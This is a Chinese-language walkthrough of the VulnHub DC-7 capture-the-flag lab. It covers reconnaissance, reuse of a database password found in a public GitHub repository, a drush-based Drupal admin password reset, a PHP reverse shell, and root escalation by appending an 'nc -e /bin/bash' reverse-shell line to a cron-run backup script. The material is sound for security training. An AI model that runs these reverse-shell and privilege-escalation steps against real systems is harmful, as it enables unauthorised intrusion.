vulnhub——DC:7

文章目录

  • 信息收集
  • Penetration
    • 1、通过web服务获取低权限用户shell
    • 2、通过文件信息获取提权方法
      • /opt/scripts/backups.sh
      • backups.sh
      • 利用

信息收集

┌──(root㉿anla)-[~]                                                                                                                                         
└─# arp-scan -l                                                                                                                                             
	Interface: eth0, type: EN10MB, MAC: 08:00:27:67:e3:7c, IPv4: 192.168.155.245                                                                                
	Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)                                                                              
	192.168.155.53  0a:0d:b0:31:80:4e       (Unknown: locally administered)                                                                                     
	192.168.155.227 30:03:c8:49:52:4d       CLOUD NETWORK TECHNOLOGY SINGAPORE PTE. LTD.                                                                        
	192.168.155.230 08:00:27:70:30:17       PCS Systemtechnik GmbH                                                                                              
	                                                                                                                                                            
	10 packets received by filter, 0 packets dropped by kernel                                                                                                  
	Ending arp-scan 1.10.0: 256 hosts scanned in 2.150 seconds (119.07 hosts/sec). 3 responded                                                                  
	                                                                                                                                                            
┌──(root㉿anla)-[~]                                                                                                                                         
└─# nmap 192.168.155.230
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-25 01:16 EDT                                                                                          
	Nmap scan report for 192.168.155.230                                                                                                                        
	Host is up (0.000061s latency).                                                                                                                             
	Not shown: 998 closed tcp ports (reset)                                                                                                                     
	PORT   STATE SERVICE                                                                                                                                        
	22/tcp open  ssh                                                                                                                                            
	80/tcp open  http                                                                                                                                           
	MAC Address: 08:00:27:70:30:17 (Oracle VirtualBox virtual NIC)                                                                                              
	                                                                                                                                                            
	Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds                                                                                                 
	                                                                                                                                                            
┌──(root㉿anla)-[~]                                                                                                                                         
└─# nmap -T4 -sS -p- -A 192.168.155.230                                                                                                                     
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-25 01:16 EDT                                                                                          
	Nmap scan report for 192.168.155.230                                                                                                                        
	Host is up (0.00017s latency).                                                                                                                              
	Not shown: 65533 closed tcp ports (reset)                                                                                                                   
	PORT   STATE SERVICE VERSION                                                                                                                                
	22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)                                                                                          
	| ssh-hostkey:                                                                                                                                              
	|   2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)                                                                                              
	|   256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)                                                                                             
	|_  256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)                                                                                           
	80/tcp open  http    Apache httpd 2.4.25 ((Debian))                                                                                                         
	|_http-generator: Drupal 8 (https://www.drupal.org)                                                                                                         
	|_http-server-header: Apache/2.4.25 (Debian)                                                                                                                
	|_http-title: Welcome to DC-7 | D7                                                                                                                          
	| http-robots.txt: 22 disallowed entries (15 shown)                                                                                                         
	| /core/ /profiles/ /README.txt /web.config /admin/                                                                                                         
	| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/                                                                                          
	| /user/password/ /user/login/ /user/logout/ /index.php/admin/                                                                                              
	|_/index.php/comment/reply/                                                                                                                                 
	MAC Address: 08:00:27:70:30:17 (Oracle VirtualBox virtual NIC)                                                                                              
	Device type: general purpose                                                                                                                                
	Running: Linux 3.X|4.X                                                                                                                                      
	OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4                                                                                             
	OS details: Linux 3.2 - 4.9                                                                                                                                 
	Network Distance: 1 hop                                                                                                                                     
	Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
	
	TRACEROUTE
	HOP RTT     ADDRESS
	1   0.17 ms 192.168.155.230
	
	OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
	Nmap done: 1 IP address (1 host up) scanned in 14.47 seconds

Penetration

1、通过web服务获取低权限用户shell

访问80的web服务

# Welcome to DC-7

DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are.  :-)

While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.

What you will have to do, is to think "outside" the box.

Way "outside" the box.  :-)

欢迎来到DC-7

DC-7引入了一些“新”概念,但我将留给你自己去发现它们是什么。 :-)

虽然这个挑战并不那么技术性,但如果你需要诉诸于暴力破解或字典攻击,你可能不会成功。

你需要做的,是“跳出”盒子来思考。

要“远远”地跳出盒子来思考。 :-)

百度搜索页面最下方看到的“@DC7USER”,发现是GitHub的一个项目

staffdb

This is some "code" (yes, it's not the greatest code, but that wasn't the point) for the DC-7 challenge.

This isn't a flag, btw, but if you have made it here, well done anyway. :-)

staffdb

这是DC-7挑战中的一些“代码”(是的,这不是最棒的代码,但这不是重点)。

顺便说一句,这不是一个标志,但如果你已经来到这里,无论如何都做得很好。 :-)

git clone https://github.com/Dc7User/staffdb,查看文件中的config.php

└─# cat config.php 
<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

但是……目标没开mysql服务,试试ssh

└─# ssh dc7user@192.168.155.230                                                                                                                             
The authenticity of host '192.168.155.230 (192.168.155.230)' can't be established.
ED25519 key fingerprint is SHA256:BDWqBUcitB8KKGYDyoeZkt2C/aXhZ7gi5xSEtOSB+Rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? ye
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.155.230' (ED25519) to the list of known hosts.
dc7user@192.168.155.230's password: 
Linux dc-7 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Aug 30 03:10:09 2019 from 192.168.0.100
dc7user@dc-7:~$ 

尝试suid提权无果

dc7user@dc-7:~/backups$ id
uid=1000(dc7user) gid=1000(dc7user) groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
dc7user@dc-7:~/backups$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/ping
/bin/umount
/bin/mount
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
dc7user@dc-7:~/backups$ sudo -l
-bash: sudo: command not found

2、通过文件信息获取提权方法

在当前目录下的mbox发现会以root权限定时执行/opt/scripts/backups.sh

/opt/scripts/backups.sh

From root@dc-7 Fri Aug 30 00:15:18 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 30 Aug 2019 00:15:18 +1000
Received: from root by dc-7 with local (Exim 4.89)
	(envelope-from <root@dc-7>)
	id 1i3LCo-0000Eb-02
	for root@dc-7; Fri, 30 Aug 2019 00:15:18 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3LCo-0000Eb-02@dc-7>
Date: Fri, 30 Aug 2019 00:15:18 +1000

rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql               [success]

意思大概是:

这段文本是一个电子邮件通知,具体是由系统上的cron守护程序(定时任务)发送的。当cron定时任务执行某个脚本(在这个例子中是/opt/scripts/backups.sh)时,它可能产生输出或错误,cron守护程序会将这些输出或错误作为电子邮件发送。

以下是这段文本的详细解释:

  1. 邮件头信息

    • From: 发件人是root@dc-7,这意味着任务是由root用户执行的。
    • To: 收件人也是root@dc-7,因此这封邮件是发送给系统管理员的。
    • Subject: 主题表明这是一个cron作业,执行了/opt/scripts/backups.sh脚本。
    • 日期和时间: 邮件发送的时间是Fri, 30 Aug 2019 00:15:18 +1000
  2. 邮件内容

    • rm命令错误:
    bash`rm: cannot remove '/home/dc7user/backups/*': No such file or directory`
    

    这表示脚本试图删除/home/dc7user/backups/目录下的所有文件,但是该目录或文件不存在。

    • 数据库备份成功:
    bash`Database dump saved to /home/dc7user/backups/website.sql [success]`
    

    这表示尽管在删除备份文件时遇到了问题,但数据库已成功备份到/home/dc7user/backups/website.sql

  3. Cron环境变量:

    • 这些X-Cron-Env行显示了cron作业执行时的环境变量。例如,PATHSHELLHOMELOGNAME都是系统环境变量,它们定义了作业如何执行。

backups.sh

查看backups.sh

dc7user@dc-7:~$ cat /opt/scripts/backups.sh 
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

大概意思是:
这个脚本/opt/scripts/backups.sh看起来是用来备份网站数据库和文件的。以下是对这个脚本的逐行解释:

#!/bin/bash

这一行是shebang,它告诉系统使用/bin/bash来执行这个脚本。

rm /home/dc7user/backups/*

这行命令会删除/home/dc7user/backups/目录下所有的文件和目录。如果目录不存在,你会收到一个错误消息,就像你在电子邮件通知中看到的那样。

cd /var/www/html/

这行命令将当前工作目录切换到/var/www/html/,这通常是web服务器的根目录。

drush sql-dump --result-file=/home/dc7user/backups/website.sql

这行命令使用drush(可能是Drupal的一个命令行工具)来导出数据库,并将结果保存到/home/dc7user/backups/website.sql。注意,这里可能存在一个拼写错误,通常是drush还是drush取决于你的系统安装的是什么。

cd ..

这行命令将当前工作目录切换回上一级目录,也就是/var/www/

tar -czf /home/dc7user/backups/website.tar.gz html/

这行命令创建一个名为website.tar.gz的压缩归档文件,包含html/目录的内容。

gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql

这行命令使用GPG(GNU Privacy Guard)对数据库备份文件website.sql进行对称加密,使用指定的密码PickYourOwnPassword--pinentry-mode loopback选项用于在脚本中提供密码,而不是交互式地提示用户输入。

gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz

与上一行类似,这行命令对归档文件website.tar.gz进行对称加密。

chown dc7user:dc7user /home/dc7user/backups/*

这行命令将/home/dc7user/backups/目录下所有文件和目录的所有权更改为dc7user用户和dc7user组。

rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

最后两行命令删除未加密的备份文件website.sqlwebsite.tar.gz,因为它们已经被加密并保存在相同的目录中。

利用

补充:
drush是一个shell接口,用于从云服务器命令行管理Drupal。
需要在 drupal web目录执行(/var/www/[drupal_folder_name])

由于脚本执行是root权限,所以只要把反弹shell命令写入该脚本即可得到root权限。使用ls -al可以知道www-data用户即网站用户对该脚本具有写入权限。所以现在需要拿到网站的反弹shell。

查阅drush相关命令得知drush user-password 用户名 --password="密码"可以修改密码。drupal网站的有默认管理员用户为admin

dc7user@dc-7:/var/www/html$ drush user-password admin --password="admin"
Changed password for admin 

网页登录admin,在content下可以添加新页面,但是没有PHP code选项。搜索了解到Drupal 8将PHP Filter移除了,让有需求的用户手动安装

访问https://www.drupal.org/project/php/releases/8.x-1.1下载tar.gz类型的包,在Extend模块下进行安装并启用,回到Content模块新建页面写入<?php phpinfo(); ?>,保存后显示了phpinfo页面。

反弹shell使用php的php-reverse-shell(PHP反向外壳),更改一下ip、port即可

┌──(root㉿anla)-[~/staffdb]
└─# nc -lvvp 1234                                                                                                                                           
listening on [any] 1234 ...
192.168.155.230: inverse host lookup failed: Unknown host
connect to [192.168.155.245] from (UNKNOWN) [192.168.155.230] 33192
Linux dc-7 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64 GNU/Linux
 23:10:50 up  1:20,  0 users,  load average: 0.03, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 
Argument expected for the -c option
usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ...
Try `python -h' for more information.
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@dc-7:/$ ls
ls
bin   etc        initrd.img.old  lost+found  opt   run   sys  var
boot  home       lib              media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64           mnt         root  srv   usr  vmlinuz.old
www-data@dc-7:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

往脚本内写入反弹shell,监听相关端口等待一段挺长的时间后定时任务触发,拿到权限(我这里用了同样的端口所以得先退出当前www-data的shell)

www-data@dc-7:/$ echo 'nc -e /bin/bash 192.168.155.245 1234'>>/opt/scripts/backups.sh
<bash 192.168.155.245 1234'>>/opt/scripts/backups.sh
www-data@dc-7:/$ cat /opt/scripts/backups.sh
cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
nc -e /bin/bash 192.168.155.245 1234
www-data@dc-7:/$ ^C sent 161, rcvd 1455

┌──(root㉿anla)-[~/staffdb]
└─# nc -lvvp 1234                                                                                                                                           
listening on [any] 1234 ...
192.168.155.230: inverse host lookup failed: Unknown host
connect to [192.168.155.245] from (UNKNOWN) [192.168.155.230] 33194
python -c 'import pty; pty.spawn("/bin/bash")'
root@dc-7:/var/www# whoami
whoami
root
root@dc-7:/var/www# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dc-7:/var/www# cd /root    
cd /root
root@dc-7:~# ls
ls
theflag.txt
root@dc-7:~# cat theflag.txt         
cat theflag.txt




888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-7.  Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

If you enjoyed this CTF, send me a tweet via @DCAU7.

祝贺!!!

希望你喜欢 DC-7。在此,我想向所有提供反馈的人,以及那些花时间完成这些挑战的人表示衷心的感谢。

我要特别感谢以下几位:

@4nqr34z

@D4mianWayne

@0xmzfr

@theart42

如果你喜欢这次 CTF,请通过 @DCAU7 给我发送推文。
root@dc-7:~# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/577446.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C语言基础:初识指针(二)

当你不知道指针变量初始化什么时&#xff0c;可以初始化为空指针 int *pNULL; 我们看NULL的定义&#xff0c;可以看出NULL是0被强制转化为Void* 类型的0&#xff1b;实质还是个0&#xff1b; 如何避免野指针&#xff1a; 1. 指针初始化 2. 小心指针越界 3. 指针指向空间…

debian gnome-desktop GUI(图形用户界面)系统

目录 &#x1f31e;更新 &#x1f3a8;安装 &#x1f34e;分配 &#x1f6cb;️重启 &#x1f511;通过VNC连接 debian gnome-desktop &#x1f31e;更新 sudo apt update sudo apt -y upgrade &#x1f3a8;安装 sudo apt -y install task-gnome-desktop 这个过程比…

Java设计模式 _结构型模式_适配器模式

一、适配器模式 **1、适配器模式&#xff08;Adapter Pattern&#xff09;**是一种结构型设计模式。适配器类用来作为两个不兼容的接口之间的桥梁&#xff0c;使得原本不兼容而不能一起工作的那些类可以一起工作。譬如&#xff1a;读卡器就是内存卡和笔记本之间的适配器。您将…

Sy8网络管理命令(ubuntu23.10和centos8)

前言、 本次实验主要是扩展学习&#xff0c;不仅限在课本的内容。毕竟课本的内容太过于陈旧了。需要的童鞋看看。 说明&#xff1a;&#xff08;书本中sy9”第3.实验内容“大家还是要做下。&#xff09; 1、使用ubuntu做实验的童鞋只要看第二、三、四、七章节的部分内容。 2、使…

单片机为什么有多组VDD?

以前我在画尺寸小的PCB时&#xff0c;比较头痛&#xff0c;特别是芯片引脚又多的&#xff0c;芯片底下&#xff0c;又不能打太多过孔。 可能有些老铁也比较好奇&#xff0c;为什么一个单片机芯片&#xff0c;有这么多组VDD和VSS。 比如下面这个100个引脚的STM32单片机。 有5组…

Blender基础操作

1.移动物体&#xff1a; 选中一个物体&#xff0c;按G&#xff0c;之后可以任意移动 若再按X&#xff0c;则只沿X轴移动&#xff0c;同理可按Y与Z 2.旋转物体&#xff1a; 选中一个物体&#xff0c;按R&#xff0c;之后可以任意旋转 若再按X&#xff0c;则只绕X轴旋转&…

STM32、GD32等驱动AMG8833热成像传感器源码分享

一、AMG8833介绍 1简介 AMG8833是一种红外热像传感器&#xff0c;也被称为热感传感器。它可以用来检测和测量物体的热辐射&#xff0c;并将其转换为数字图像。AMG8833传感器可以感知的热源范围为-20C到100C&#xff0c;并能提供8x8的像素分辨率。它通过I2C接口与微控制器或单…

全面解析平台工程与 DevOps 的区别与联系

平台工程的概念非常流行&#xff0c;但很多开发人员仍然不清楚它是如何实际运作的&#xff0c;这是非常正常的。 平台工程是与 DevOps 并行吗&#xff1f;还是可以相互替代&#xff1f;或者 DevOps 和平台工程是两个完全不同的概念&#xff1f; 一种比较容易将两者区分开来的方…

Feign负载均衡

Feign负载均衡 概念总结 工程构建Feign通过接口的方法调用Rest服务&#xff08;之前是Ribbon——RestTemplate&#xff09; 概念 官网解释: http://projects.spring.io/spring-cloud/spring-cloud.html#spring-cloud-feign Feign是一个声明式WebService客户端。使用Feign能让…

AI大模型探索之路-训练篇5:大语言模型预训练数据准备-词元化

系列文章目录&#x1f6a9; AI大模型探索之路-训练篇1&#xff1a;大语言模型微调基础认知 AI大模型探索之路-训练篇2&#xff1a;大语言模型预训练基础认知 AI大模型探索之路-训练篇3&#xff1a;大语言模型全景解读 AI大模型探索之路-训练篇4&#xff1a;大语言模型训练数据…

法律知识学习考试系统 C#+uniapp+asp.net微信小程序

技术要求&#xff1a;后端C#&#xff0c;安卓app&#xff0c;mysql数据库 系统分为管理员、教师端和学生端: 管理员端实现管理员的注册登录以及教师和学生的注册、法律法规内容的发布与更新、法律法规页面的评论的添加与删除、内容查询、知识小测的内容发布与删除、问卷调查的发…

云计算和边缘计算究竟有什么不同

在数据时代&#xff0c;无论是人的活动还是机器的运作都会产生各种各样海量的数据。在对数据梳理和筛选过程中&#xff0c;计算机的运算处理必不可少。为了减少本地计算机算力成本等限制&#xff0c;越来越多的企业选择了云计算和边缘计算。今天&#xff0c;德迅云安全就带您来…

SpikingJelly笔记之梯度替代

文章目录 前言一、梯度替代二、网络结构三、MNIST分类1、单步模式2、多步模式 总结 前言 在SpikingJelly使用梯度替代训练SNN&#xff0c;构建单层全连接SNN实现MNIST分类任务。 一、梯度替代 1、梯度替代&#xff1a; 阶跃函数不可微&#xff0c;无法进行反向传播 g ( x ) …

miniTry:Python实现web搜索(全自动+程序操控)

声明&#xff1a;本问给出了全部代码--可以复现--亲测有效 :) [ 代码为图片--> 强制自己去敲一次 又不多] 1.打开网站&#xff1a; 2.利用id去定位到我们要进行输入的内容&#xff08;bing可以直接进行搜索&#xff0c;而csdn需要登录&#xff0c;所以我们用csdn做演示&…

HODL、FUD、FOMO 等其他比特币俚语是什么意思?

作者&#xff1a;Paxful Team 1、FOMO&#xff08;惧怕错失机会&#xff09; FOMO 是惧怕错失机会的缩写&#xff0c;可用于日常生活。它指的是当其他人都在谈论比特币时&#xff0c;产生的购买比特币的紧迫感。 2、Shill&#xff08;不断推广吹捧&#xff09; Shilling 是指…

linux支持vGPU方案

1&#xff0c;查询gpu型号&#xff1a;lspci | grep "NVIDIA\|VGA" PCI Devices 2&#xff0c;下载驱动 官方驱动 | NVIDIA 3&#xff0c;安装 sudo sh NVIDIA-Linux-x86_64-440.118.02.run -no-x-check -no-nouveau-check -no-opengl-files参数说明&#xff1a; …

自定义View-旋转变色圆角三角形的绘制

本文字数&#xff1a;3151字 预计阅读时间&#xff1a;20分钟 在现代设计中&#xff0c;动效图在APP的UI界面中所起到的作用无疑是显著的。相比于静态的界面&#xff0c;动效更符合人类的自然认知体系&#xff0c;它有效地降低了用户的认知负载&#xff0c;UI动效俨然已经成为了…

汽车新四化,会发生什么?

北京国际汽车展览会正如火如荼地进行中,作为国内外汽车行业瞩目的盛会&#xff0c;众多车企纷纷亮出了自家的“杀手锏”。 这场汽车的盛宴不仅集中展示了众多汽车品牌的最新技术和产品&#xff0c;更深刻体现了汽车新四化的发展趋势。汽车新四化&#xff0c;即电动化、网联化、…

DS进阶:AVL树和红黑树

一、AVL树 1.1 AVL树的概念 二叉搜索树&#xff08;BST&#xff09;虽可以缩短查找的效率&#xff0c;但如果数据有序或接近有序二叉搜索树将退化为单支树&#xff0c;查找元素相当于在顺序表中搜索元素&#xff0c;效率低下。因此&#xff0c;两位俄罗斯的数学家G.M.Adelson-…

使用Keil移植工程时修改单片机型号参数

系列文章目录 STM32单片机系列专栏 C语言术语和结构总结专栏 当使用Keil对STM32系列单片机开发时&#xff0c;如果使用的是库函数&#xff0c;那么不同型号单片机的工程项目文件是可以直接移植的。只需要按照下面的步骤修改对应的芯片&#xff0c;就可以直接将工程移植过去&a…
最新文章